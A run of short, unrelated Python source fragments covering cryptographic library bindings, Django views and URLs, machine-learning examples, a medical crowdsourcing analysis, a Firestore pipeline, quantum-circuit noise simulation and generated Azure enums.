gdfformer.sum().diesel - gdf.sum().diesel CO2_aequivalent_kg = Dieselersparnis * 2.6
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from models import DefiProtocolInfo, DefiLlamaLendingDailyStats import pydash from utils.date_util import DateUtil
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# Copyright (C) 2015-2021 Virgil Security, Inc. # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # (1) Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # (2) Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # # (3) Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING # IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # Lead Maintainer: Virgil Security Inc. <support@virgilsecurity.com> from virgil_crypto_lib._libs import * from ctypes import * from virgil_crypto_lib.common._c_bridge import vsc_buffer_t from virgil_crypto_lib.common._c_bridge import vsc_data_t from ._vscf_impl import vscf_impl_t class VscfSeedEntropySource(object): """Deterministic entropy source that is based only on the given seed.""" def __init__(self): """Create underlying C context.""" self._ll = LowLevelLibs() self._lib = self._ll.foundation def vscf_seed_entropy_source_is_strong(self, ctx): """Defines that implemented source is strong.""" vscf_seed_entropy_source_is_strong = self._lib.vscf_seed_entropy_source_is_strong vscf_seed_entropy_source_is_strong.argtypes = [POINTER(vscf_seed_entropy_source_t)] vscf_seed_entropy_source_is_strong.restype = c_bool return vscf_seed_entropy_source_is_strong(ctx) def vscf_seed_entropy_source_gather(self, ctx, len, out): """Gather entropy of the requested length.""" vscf_seed_entropy_source_gather = self._lib.vscf_seed_entropy_source_gather vscf_seed_entropy_source_gather.argtypes = [POINTER(vscf_seed_entropy_source_t), c_size_t, POINTER(vsc_buffer_t)] vscf_seed_entropy_source_gather.restype = c_int return vscf_seed_entropy_source_gather(ctx, len, out) def vscf_seed_entropy_source_reset_seed(self, ctx, seed): """Set a new seed as an entropy source.""" vscf_seed_entropy_source_reset_seed = self._lib.vscf_seed_entropy_source_reset_seed vscf_seed_entropy_source_reset_seed.argtypes = [POINTER(vscf_seed_entropy_source_t), vsc_data_t] vscf_seed_entropy_source_reset_seed.restype = None return vscf_seed_entropy_source_reset_seed(ctx, seed)
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from django.utils.timezone import now from django.core.cache import cache from django.db.models import Count from drf_yasg.utils import swagger_auto_schema from drf_yasg import openapi from utils.api import APIView, validate_serializer from utils.constants import CacheKey, CONTEST_PASSWORD_SESSION_KEY from utils.shortcuts import datetime2str, check_is_id from account.models import AdminType from utils.decorators import login_required, check_contest_permission, check_contest_password from utils.constants import ContestStatus from ..models import ContestAnnouncement, Contest, ACMContestRank, ProblemBank from problem.models import Problem from ..serializers import ACMContestRankNoPenaltySerializer, ContestAnnouncementSerializer from ..serializers import ContestSerializer, ContestPasswordVerifySerializer from ..serializers import ACMContestRankSerializer import random import json
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''' Source codes for PyTorch 1.0 Reinforcement Learning (Packt Publishing) Chapter 6: Scaling up Learning with Function Approximation Author: Yuxi (Hayden) Liu ''' import torch from torch.autograd import Variable import math if __name__ == "__main__": estimator = Estimator(10, 2, 1) s1 = [0.5, 0.1] print(estimator.get_feature(s1)) s_list = [[1, 2], [2, 2], [3, 4], [2, 3], [2, 1]] target_list = [1, 1.5, 2, 2, 1.5] for s, target in zip(s_list, target_list): feature = estimator.get_feature(s) estimator.update(s, 0, target) print(estimator.predict([0.5, 0.1])) print(estimator.predict([2, 3]))
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# -*- coding: utf-8 -*- """ Main script for reproducing results of the paper "Crowdsourcing Airway Segmentation" Authors: Veronika Cheplygina, Adria Perez-Rovira URL: https://github.com/adriapr/crowdairway """ import data as crowddata import analysis as crowdanalysis import figures as crowdfigures import tables as crowdtables ##################### # Data ##################### # Process data and save the processed data frames. This only needs to be done if the preprocessing code changes use_processed_data = True # Redo all tables/plots do_figures = False do_tables = True # Process data and save the proce if use_processed_data == False: crowddata.process_data() # Load all the processed files df_task, df_res, df_annot, df_truth, df_subject = crowddata.get_df_processed() if do_figures: crowdfigures.show_task(df_task, df_res, df_annot, task_id=27, result_index=0, save_file=True) #Valid crowdfigures.show_task(df_task, df_res, df_annot, task_id=27, result_index=3, save_file=True) #Invalid - does not see an airway crowdfigures.show_task(df_task, df_res, df_annot, task_id=27, result_index=10, save_file=True) #Invalid - unpaired ellipse, not resized ##################### # Analysis ##################### # Select valid results df_res_valid, df_res_invalid = crowdanalysis.get_valid_results(df_res) #Combine results per task in different ways df_task_random = crowdanalysis.get_task_random(df_task, df_res_valid) df_task_median = crowdanalysis.get_task_median(df_task, df_res_valid) df_task_best = crowdanalysis.get_task_best(df_task, df_res_valid, df_truth) #optimistically biased! df = crowdanalysis.get_cantsee(df_task,df_res_invalid,df_truth) # From here on, medium combining is selected where only combining method is used. # TODO this should be handled by a single variable df_task_combined = df_task_median combine_type = 'median' #Get correlations between crowd and expert df_corr = crowdanalysis.get_subject_correlation(df_subject, df_task_combined, df_truth, combine_type) ##################### # Table ##################### if do_tables: # Statistics about workers and results crowdtables.print_result(df_res_valid, df_res_invalid) crowdtables.print_worker(df_res) # Table 2- Correlations of different combining methods vs the expert #crowdtables.print_corr_table(df_task_random, df_task_median, df_task_best, df_truth, df_res_valid) # Table 3 - Characteristics per subjects #crowdtables.print_subject(df_subject, df_task_median, df_truth, combine_type) # Table 4 - Correlations between crowd quality and subject characteristics crowdtables.print_subject_correlation(df_subject, df_task_median, df_truth, combine_type) # Additions after revision 1 #crowdtables.print_airway_generation(df_truth) ##################### # Figures ##################### # Figures 1 to 3 are illustrating the method and are not produced from the data if do_figures: # Figure 4, statistics about workers and results crowdfigures.plot_result_worker(df_res_valid) # crowdfigures.scatter_worker_valid(df_res_valid, df_res_invalid) # Figure 5, Inner airway crowdfigures.scatter_correlation_by_part(df_task_random, df_task_median, df_task_best, df_truth, 'inner') # Figure 6, Outer airway crowdfigures.scatter_correlation_by_part(df_task_random, df_task_median, df_task_best, df_truth, 'outer') # Figure 7, WAP crowdfigures.scatter_correlation_by_part(df_task_random, df_task_median, df_task_best, df_truth, 'wap') # Figure 8, WTR crowdfigures.scatter_correlation_by_part(df_task_random, df_task_median, df_task_best, df_truth, 'wtr') #Figure 9, Correlation vs minimum number of available valid results crowdfigures.plot_correlation_valid(df_task_combined, df_truth, combine_type)
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""" Copyright 2020 Google LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import apache_beam as beam from backend_jobs.pipeline_utils import database_schema from backend_jobs.pipeline_utils.data_types import VisibilityType from backend_jobs.pipeline_utils.firestore_database import initialize_db, RANGE_OF_BATCH import random # pylint: disable=abstract-method class GetBatchedImageDataset(beam.DoFn): """Gets the images data set by batches as requested by the pipeline's input from the project's Firestore database. Input: integer index. Output: generator of image's documents in a Python dictionary form. Each image is represented by a dict containing all the fields of the document in the database and their values. """ # pylint: disable=arguments-differ def process(self, index, ingestion_provider = None, ingestion_run = None): """Queries firestore database for images from the ingestion_provider within a random range (by batch). Args: index: the index used for querying the database by the random field. ingestion_provider: the input of the pipeline, determines the images dataset. ingestion_run: the input of the pipeline, determines the dataset. Only one out of ingestion_provider and ingestion_run is provided. Returns: A generator of dictionaries with all the information (fields and id) of each one of the Firestore data set's image documents as stored in the database_schema.COLLECTION_IMAGES. Raises: Value error if both ingestion_provider and ingestion_run are not None or both are None. """ if ingestion_provider and ingestion_run: raise ValueError('both ingestion provider and run are provided -\ one should be provided') if not ingestion_provider and not ingestion_run: raise ValueError('both ingestion provider and run are not provided -\ one should be provided') # The lower limit for querying the database by the random field. random_min = index * RANGE_OF_BATCH # The higher limit for querying the database by the random field. random_max = random_min + RANGE_OF_BATCH if ingestion_run: query = self.db.collection(database_schema.COLLECTION_IMAGES).\ where(database_schema.COLLECTION_IMAGES_FIELD_INGESTED_RUNS, \ u'array_contains', ingestion_run).\ where(database_schema.COLLECTION_IMAGES_FIELD_RANDOM, u'>=', random_min).\ where(database_schema.COLLECTION_IMAGES_FIELD_RANDOM, \ u'<', random_max).stream() else: query = self.db.collection(database_schema.COLLECTION_IMAGES).\ where(database_schema.COLLECTION_IMAGES_FIELD_INGESTED_PROVIDERS, \ u'array_contains', ingestion_provider).\ where(database_schema.COLLECTION_IMAGES_FIELD_RANDOM, u'>=', random_min).\ where(database_schema.COLLECTION_IMAGES_FIELD_RANDOM,\ u'<', random_max).stream() return (add_id_to_dict(doc) for doc in query) def add_id_to_dict(doc): """ Adds the document's id to the document's fields dictionary. """ full_dict = doc.to_dict() full_dict['id'] = doc.id return full_dict class UpdateImageLabelsInDatabase(beam.DoFn): """Stores parallelly the label information in the project's database in the database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS. """ # pylint: disable=arguments-differ def process(self, image_and_labels, run_id, provider_id): """Updates the project's database to contain documents with the currect fields for each label in the Labels subcollection of each image. Args: image_and_labels: tuple of image document dictionary (Each image is represented by a Python dictionary containing all the fields of the document in the database_schema.COLLECTION_IMAGES and their values) and a list of all labels. (image_doc_dict, labels) """ image_doc = image_and_labels[0] labels = image_and_labels[1] doc_id = image_doc['id'] subcollection_ref = self.db.collection(database_schema.COLLECTION_IMAGES).document(doc_id).\ collection(database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS) for label in labels: doc = subcollection_ref.document() doc.set({ database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_PROVIDER_ID:\ provider_id, database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_PROVIDER_VERSION:\ '2.0.0', database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_LABEL_NAME: label, database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_VISIBILITY:\ VisibilityType.INVISIBLE.value, database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_PARENT_IMAGE_ID:\ doc_id, database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_PIPELINE_RUN_ID:\ run_id, # Redundant for query optimisation reasons. database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_HASHMAP:\ image_doc[database_schema.COLLECTION_IMAGES_FIELD_HASHMAP], # Redundant for query optimisation reasons. database_schema.COLLECTION_IMAGES_SUBCOLLECTION_LABELS_FIELD_RANDOM:\ random.random() })
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# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from datetime import date from decimal import Decimal as D from ralph_scrooge import models from ralph_scrooge.plugins.cost.support import SupportPlugin from ralph_scrooge.tests import ScroogeTestCase from ralph_scrooge.tests.utils.factory import PricingObjectFactory
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import csv import subprocess import sys import os import pytest from typing import Optional, List from pypeid import PEiDScanner, format_as_katc_peid @pytest.fixture @pytest.mark.parametrize( "test_bin", ["TestExe_x64.exe", "TestExe_x86.exe", "TestDotNet.dll"] )
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# -*- coding: utf-8 -*- from matplotlib import pyplot as plt plt.plot([1,2,3,2,1,2,3,4,5,6,5,4,3,2,1]) plt.show()
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#!/usr/bin/env python import vtk from vtk.util.misc import vtkGetDataRoot VTK_DATA_ROOT = vtkGetDataRoot() # Tst the OpenClose3D filter. # Image pipeline reader = vtk.vtkPNGReader() reader.SetFileName("" + str(VTK_DATA_ROOT) + "/Data/fullhead15.png") thresh = vtk.vtkImageThreshold() thresh.SetInputConnection(reader.GetOutputPort()) thresh.SetOutputScalarTypeToUnsignedChar() thresh.ThresholdByUpper(2000.0) thresh.SetInValue(255) thresh.SetOutValue(0) thresh.ReleaseDataFlagOff() my_close = vtk.vtkImageOpenClose3D() my_close.SetInputConnection(thresh.GetOutputPort()) my_close.SetOpenValue(0) my_close.SetCloseValue(255) my_close.SetKernelSize(5,5,3) my_close.ReleaseDataFlagOff() # for coverage (we could compare results to see if they are correct). my_close.DebugOn() my_close.DebugOff() my_close.GetOutput() my_close.GetCloseValue() my_close.GetOpenValue() #my_close AddObserver ProgressEvent {set pro [my_close GetProgress]; puts "Completed $pro"; flush stdout} viewer = vtk.vtkImageViewer() viewer.SetInputConnection(my_close.GetOutputPort()) viewer.SetColorWindow(255) viewer.SetColorLevel(127.5) viewer.Render() # --- end of script --
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"""GetOptions request. Gets list of available product options. """ from ccapi.cc_objects import ProductOption, ProductOptions from ..apirequest import APIRequest class GetOptions(APIRequest): """Wrapper for GetOptions request.""" uri = "Handlers/ProductOption/getOptions.ashx" def process_response(self, response): """Handle request response.""" results = response.json() return ProductOptions([ProductOption(item) for item in results]) def get_data(self): """Get data for request.""" return {"brandID": "341", "strOptionTypes": "1,+2,+6"}
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from keras.callbacks import TensorBoard from keras.callbacks import ModelCheckpoint from keras.models import Sequential from keras.layers.core import Dense, Activation import numpy as np from time import time from keras.models import load_model m = .3 c = 7 x_train = np.linspace(1, 100, 1000) y_train = m * x_train + c x_test = np.linspace(3, 200, 400) y_test = m * x_test + c output_dim = 1 input_dim = 1 model = Sequential() model.add(Dense(output_dim, input_dim=input_dim)) model.add(Activation('linear')) model.compile(loss='mse', optimizer='rmsprop') model.fit(x_train, y_train, epochs=100, batch_size=16, verbose=1, validation_data=(x_test, y_test), callbacks=[tensorboard, checkpointer]) loss = model.evaluate(x_test, y_test, batch_size=16) print("LOSS", loss) model.save('my_model_lin_reg.h5') #loading the model and predicting # model = load_model('my_model_lin_reg.h5') # x = model.predict(np.array([100])) # print(x)
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from django.conf.urls import url from pages.views import PageDetailView urlpatterns = [ url(r'(?P<slug>[-_\w]+)/$', PageDetailView.as_view(), name='page_detail'), ]
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from typing import Callable, Generic, NamedTuple, TypeVar from gym.vector import VectorEnv from rl.agents.base import Agent from rl.algorithms.base import Algorithm from rl.modelbased.env_model import EnvModel from rl.modelbased.simulated_env import SimulatedEnv from rl.utils.sampler import EnvSampler __all__ = ['SimulatedPolicyLearning'] M = TypeVar('M', bound=EnvModel) B = TypeVar('B') T = TypeVar('T', bound=NamedTuple) class SimulatedPolicyLearning(Algorithm, Generic[M]): """TODO docstring""" @property def env_model(self) -> M: """TODO docstring""" return self._env_model @property def real_env(self) -> VectorEnv: """TODO docstring""" return self._real_env @property def real_agent(self) -> Agent: """TODO docstring""" return self._real_agent @real_agent.setter def real_agent(self, agent: Agent) -> None: """TODO docstring""" if agent.observation_space == self._env_model.simulated_observation_space: # agent in simulation space assert agent.action_space == self._env_model.simulated_action_space elif agent.observation_space == self._env_model.real_observation_space: # agent in real space assert agent.action_space == self._env_model.real_action_space self._real_agent = agent if self._real_sampler is not None: self._setup_real_sampler() @property def simulated_agent(self) -> Agent: """TODO docstring""" return self._simulated_agent @simulated_agent.setter def simulated_agent(self, agent) -> None: """TODO docstring""" assert agent.observation_space == self._env_model.simulated_observation_space assert agent.action_space == self._env_model.simulated_action_space self._simulated_agent = agent if self._simulated_sampler is not None: self._setup_simulated_sampler() def start(self, initial_iteration: int = 0) -> None: """TODO docstring""" self.iteration = initial_iteration self._setup_real_sampler() self._setup_simulated_sampler() def update(self) -> None: """TODO docstring""" # sample from real environment and store in buffer self.collect_real_data_fn(self._real_sampler, self.real_data_buffer, self.iteration) # train model supervised using collected data self.train_supervised_fn(self.env_model, self.real_data_buffer, self.iteration) # train agent model-free with simulated experience self.train_rl_fn(self._simulated_sampler, self.iteration) self.iteration += 1
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import os import pathlib import pytest from click.testing import CliRunner from flytekit.clis.sdk_in_container import pyflyte from flytekit.clis.sdk_in_container.run import get_entities_in_file WORKFLOW_FILE = os.path.join(os.path.dirname(os.path.realpath(__file__)), "workflow.py") @pytest.mark.parametrize( "working_dir, wf_path", [ (pathlib.Path("test_nested_wf"), os.path.join("a", "b", "c", "d", "wf.py")), (pathlib.Path("test_nested_wf", "a"), os.path.join("b", "c", "d", "wf.py")), (pathlib.Path("test_nested_wf", "a", "b"), os.path.join("c", "d", "wf.py")), (pathlib.Path("test_nested_wf", "a", "b", "c"), os.path.join("d", "wf.py")), (pathlib.Path("test_nested_wf", "a", "b", "c", "d"), os.path.join("wf.py")), ], ) @pytest.mark.parametrize( "wf_path", [("collection_wf.py"), ("map_wf.py"), ("dataclass_wf.py")], )
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from warnings import warn
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5.4
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import Teams import csv import datetime as dt import numpy as np import matplotlib.pyplot as plt from collections import OrderedDict from constants import _Const import dataLoader CONST = _Const() # Inputs input_date = input("Date (dd/mm/yy format): ") avg_window_sz = input("Window size for rolling average: ") stop_date = dt.datetime.strptime(input_date, '%d/%m/%y') avg_window = int(avg_window_sz) # Load the data teams = dataLoader.GetAllTeamsWithTotals(stop_date) # Calculate and build the graph for team in teams.keys(): print(team) input_team = team avg_shots = teams.get(input_team, None).shots avg_sht = teams.get(input_team, None).shots_on_target avg_corners = teams.get(input_team, None).corners shots_mov_avg = Teams.mov_avg(avg_shots, avg_window) sht_mov_avg = Teams.mov_avg(avg_sht, avg_window) corners_mov_avg = Teams.mov_avg(avg_corners, avg_window) plt.plot(shots_mov_avg, label = "Shots on goal") plt.plot(sht_mov_avg, label = "Shots on target") plt.plot(corners_mov_avg, label = "Corners") plt.axis([0, 35, 0, 25]) plt.title("Rolling average") plt.xlabel("Number of matches") plt.ylabel("Average value") plt.legend() plt.savefig(CONST.OUTPUT_PATH + team + '_avg.jpg') plt.clf()
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from django.conf.urls import url from . import views app_name = 'create_dataset' urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^results/$', views.generate_results, name='generate-dataset-results'), url(r'^results/(?P<dataset_id>[0-9]+)/$', views.results, name='create-dataset-results'), url(r'^download/(?P<dataset_id>[0-9]+)/$', views.serve_file, name='download-dataset-results'), ]
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"""noisy_parameter_sweep_htcondor.py NOTE: Jobs parameters (sweep values, repetitions) must be modified directly in this script. This script is configured to be dispatched based on a single int $(Process) passed in by the htcondor submission. """ import argparse import os import numpy as np import time from z2_sim.src.QuantumCircuits.Cirq_Code import production from z2_sim.src.QuantumCircuits.Cirq_Code import io from z2_sim.src.QuantumCircuits.Cirq_Code.noise.zz_crosstalk_v1 import ZZCrossTalkV1 from z2_sim.src.QuantumCircuits.Cirq_Code.noise.two_local_depol import TwoLocalDepol import qsimcirq # assert qsimcirq.qsim_gpu is not None parser = argparse.ArgumentParser(add_help=True) parser.add_argument('-proc', metavar='proc', type=int, nargs=1, help='htcondor process number') parser.add_argument('-dest', metavar='dest', type=str, nargs=1, help='Directory to save results.') args = parser.parse_args() dest = args.dest[0] ### DISPATCHER ### proc = args.proc[0] ################## n = 5 tstart = 1 tstop = 51 n_trajectories = 1000 # Hardcoded physical parameters based on Hank's input dt = 0.25 #### Hardcoded TABLE of noise parameter sweep #### j_sweep = [0.714285, 0.625, .555556] zeta_sweep = [0, 150000, 300000, 450000, 600000, 750000] eps_sweep = [0, 0.0005, 0.001, 0.0015, 0.002, 0.0025, 0.003] ################################################## j_zeta_eps_table = [] for j in j_sweep: for zeta in zeta_sweep: for eps in eps_sweep: j_zeta_eps_table.append((j, zeta, eps)) # Now dispatch. jcoup, zeta, eps = j_zeta_eps_table[proc] print(f"PROC {proc}: (zeta, epsilon)=({zeta}, {eps})") target_gate="SIS" GATE_DURATION = 1e-8 # Pre-compose noise models zeta_model = ZZCrossTalkV1(zeta, target_gate, gate_duration=GATE_DURATION, sampled_error=False) eps_noise_model = TwoLocalDepol(err_1q=eps / 10, err_2q=eps, sampled_error=False, verbose=False) # Initialize simulators and noise model N_FUSE = 4 qsim_options = qsimcirq.QSimOptions( max_fused_gate_size=N_FUSE, ev_noisy_repetitions=n_trajectories, use_gpu=True, gpu_sim_threads=256, gpu_state_threads=512, gpu_data_blocks=16, verbosity=0, denormals_are_zeros=True, ) t0 = time.time() # TODO: if eps == 0 we need to manually implement noiseless simulation if eps < 1e-9: print("Dispatching to noiseless simulator for eps=0") # Reroute to a unitary simulation with intermediate state vectors. out = production.compute_obs_with_intermediate_state_vector( n=n, trotter_steps=tstop - tstart, jcoup=jcoup, dt=dt, all_observables=True, qsim_options=dict(t=8, f=4, g=False), # GPU not necessary decompbasis=target_gate, obc=True, noise_models=[zeta_model], ) else: print("Dispatching to triangle simulator for eps!=0") out = production.compute_noisy_obs( n=n, trotter_start=tstart, trotter_stop=tstop, jcoup=jcoup, dt=dt, all_observables=True, qsim_options=qsim_options, noise_models=[zeta_model, eps_noise_model], obc=True, decompbasis=target_gate, ) delta_time = time.time() - t0 print(f"size {n}, one pass, trotter interval=({tstart}, {tstop}), {n_trajectories} trajectories") print(f"\t{delta_time}") # This is to expedite file transfers from the submission nodes, since the .sub # doesn't know the output file name # !!!!!!!! # Proc is hardcoded to `0` in the file output for forwards compatibility # with the CondorCollector fout = io.make_noisy_htcondor_run_fname(0, n, jcoup, dt, tstart, tstop, zeta, eps, n_trajectories) np.save(os.path.join(dest, fout), out)
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import pickle import numpy as np import matplotlib.pyplot as plt import matplotlib.ticker as ticker if __name__ == "__main__": with open('droprate.pickle', 'rb') as f: result = pickle.load(f) rates = sorted(list(set([x[0] for x in result]))) ns = sorted(list(set([x[1] for x in result]))) with open('droprate.html', 'w') as wf: wf.write(htmlTable(result)) for rate in rates: sub = np.array([x for x in result if x[0] == rate]) print(sub) fig = ciPlot(rate,sub) fig.savefig('ci95-droprate-{:08.4f}.pdf'.format(rate), bbox_inches='tight') fig.savefig('ci95-droprate-{:08.4f}.png'.format(rate), bbox_inches='tight') plt.close()
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""" Authors: Shubham Ugare. Copyright: Copyright (c) 2020 Microsoft Research Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import numpy import os import _pickle as pickle import re
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""" Tests for metrics/completeness.py """ import copy from .helpers import fixture, np from vip_hci.psfsub import pca from vip_hci.metrics import completeness_curve, completeness_map from vip_hci.preproc import frame_crop from vip_hci.fm import cube_planet_free @fixture(scope="module") def get_cube_empty(example_dataset_adi): """ Get the ADI sequence from conftest.py. Parameters ---------- example_dataset_adi : fixture Taken automatically from ``conftest.py``. Returns ------- dsi : VIP Dataset """ dsi = copy.copy(example_dataset_adi) starphot = 764939.6 # Absil et al. (2013) r_b = 0.452/0.0271 # Absil et al. (2013) theta_b = 211.2+90 # Absil et al. (2013) f_b = 648.2 psfn = frame_crop(dsi.psf[1:, 1:], 11) dsi.cube = cube_planet_free([(r_b, theta_b, f_b)], dsi.cube, dsi.angles, psfn=psfn) return dsi, starphot
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from stripstream.algorithms.search.fast_downward import search_options, get_fd_root from subprocess import call import argparse import os COMMAND = '../../fast-downward.py' MAX_TIME = 'infinity' MAX_COST = 'infinity' if __name__ == '__main__': main()
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# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** from enum import Enum __all__ = [ 'AssessmentSizingCriterion', 'AssessmentStage', 'AzureHybridUseBenefit', 'AzureLocation', 'AzureOfferCode', 'AzurePricingTier', 'AzureStorageRedundancy', 'Currency', 'Percentile', 'ProvisioningState', 'TimeRange', ] class AssessmentSizingCriterion(str, Enum): """ Assessment sizing criterion. """ PERFORMANCE_BASED = "PerformanceBased" AS_ON_PREMISES = "AsOnPremises" class AssessmentStage(str, Enum): """ User configurable setting that describes the status of the assessment. """ IN_PROGRESS = "InProgress" UNDER_REVIEW = "UnderReview" APPROVED = "Approved" class AzureHybridUseBenefit(str, Enum): """ AHUB discount on windows virtual machines. """ UNKNOWN = "Unknown" YES = "Yes" NO = "No" class AzureLocation(str, Enum): """ Target Azure location for which the machines should be assessed. These enums are the same as used by Compute API. """ UNKNOWN = "Unknown" EAST_ASIA = "EastAsia" SOUTHEAST_ASIA = "SoutheastAsia" AUSTRALIA_EAST = "AustraliaEast" AUSTRALIA_SOUTHEAST = "AustraliaSoutheast" BRAZIL_SOUTH = "BrazilSouth" CANADA_CENTRAL = "CanadaCentral" CANADA_EAST = "CanadaEast" WEST_EUROPE = "WestEurope" NORTH_EUROPE = "NorthEurope" CENTRAL_INDIA = "CentralIndia" SOUTH_INDIA = "SouthIndia" WEST_INDIA = "WestIndia" JAPAN_EAST = "JapanEast" JAPAN_WEST = "JapanWest" KOREA_CENTRAL = "KoreaCentral" KOREA_SOUTH = "KoreaSouth" UK_WEST = "UkWest" UK_SOUTH = "UkSouth" NORTH_CENTRAL_US = "NorthCentralUs" EAST_US = "EastUs" WEST_US2 = "WestUs2" SOUTH_CENTRAL_US = "SouthCentralUs" CENTRAL_US = "CentralUs" EAST_US2 = "EastUs2" WEST_US = "WestUs" WEST_CENTRAL_US = "WestCentralUs" GERMANY_CENTRAL = "GermanyCentral" GERMANY_NORTHEAST = "GermanyNortheast" CHINA_NORTH = "ChinaNorth" CHINA_EAST = "ChinaEast" class AzureOfferCode(str, Enum): """ Offer code according to which cost estimation is done. """ UNKNOWN = "Unknown" MSAZR0003_P = "MSAZR0003P" MSAZR0044_P = "MSAZR0044P" MSAZR0059_P = "MSAZR0059P" MSAZR0060_P = "MSAZR0060P" MSAZR0062_P = "MSAZR0062P" MSAZR0063_P = "MSAZR0063P" MSAZR0064_P = "MSAZR0064P" MSAZR0029_P = "MSAZR0029P" MSAZR0022_P = "MSAZR0022P" MSAZR0023_P = "MSAZR0023P" MSAZR0148_P = "MSAZR0148P" MSAZR0025_P = "MSAZR0025P" MSAZR0036_P = "MSAZR0036P" MSAZR0120_P = "MSAZR0120P" MSAZR0121_P = "MSAZR0121P" MSAZR0122_P = "MSAZR0122P" MSAZR0123_P = "MSAZR0123P" MSAZR0124_P = "MSAZR0124P" MSAZR0125_P = "MSAZR0125P" MSAZR0126_P = "MSAZR0126P" MSAZR0127_P = "MSAZR0127P" MSAZR0128_P = "MSAZR0128P" MSAZR0129_P = "MSAZR0129P" MSAZR0130_P = "MSAZR0130P" MSAZR0111_P = "MSAZR0111P" MSAZR0144_P = "MSAZR0144P" MSAZR0149_P = "MSAZR0149P" MSMCAZR0044_P = "MSMCAZR0044P" MSMCAZR0059_P = "MSMCAZR0059P" MSMCAZR0060_P = "MSMCAZR0060P" MSMCAZR0063_P = "MSMCAZR0063P" MSMCAZR0120_P = "MSMCAZR0120P" MSMCAZR0121_P = "MSMCAZR0121P" MSMCAZR0125_P = "MSMCAZR0125P" MSMCAZR0128_P = "MSMCAZR0128P" MSAZRDE0003_P = "MSAZRDE0003P" MSAZRDE0044_P = "MSAZRDE0044P" class AzurePricingTier(str, Enum): """ Pricing tier for Size evaluation. """ STANDARD = "Standard" BASIC = "Basic" class AzureStorageRedundancy(str, Enum): """ Storage Redundancy type offered by Azure. """ UNKNOWN = "Unknown" LOCALLY_REDUNDANT = "LocallyRedundant" ZONE_REDUNDANT = "ZoneRedundant" GEO_REDUNDANT = "GeoRedundant" READ_ACCESS_GEO_REDUNDANT = "ReadAccessGeoRedundant" class Currency(str, Enum): """ Currency to report prices in. """ UNKNOWN = "Unknown" USD = "USD" DKK = "DKK" CAD = "CAD" IDR = "IDR" JPY = "JPY" KRW = "KRW" NZD = "NZD" NOK = "NOK" RUB = "RUB" SAR = "SAR" ZAR = "ZAR" SEK = "SEK" TRY_ = "TRY" GBP = "GBP" MXN = "MXN" MYR = "MYR" INR = "INR" HKD = "HKD" BRL = "BRL" TWD = "TWD" EUR = "EUR" CHF = "CHF" ARS = "ARS" AUD = "AUD" CNY = "CNY" class Percentile(str, Enum): """ Percentile of performance data used to recommend Azure size. """ PERCENTILE50 = "Percentile50" PERCENTILE90 = "Percentile90" PERCENTILE95 = "Percentile95" PERCENTILE99 = "Percentile99" class ProvisioningState(str, Enum): """ Provisioning state of the project. """ ACCEPTED = "Accepted" CREATING = "Creating" DELETING = "Deleting" FAILED = "Failed" MOVING = "Moving" SUCCEEDED = "Succeeded" class TimeRange(str, Enum): """ Time range of performance data used to recommend a size. """ DAY = "Day" WEEK = "Week" MONTH = "Month"
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from selenium.webdriver.common.by import By
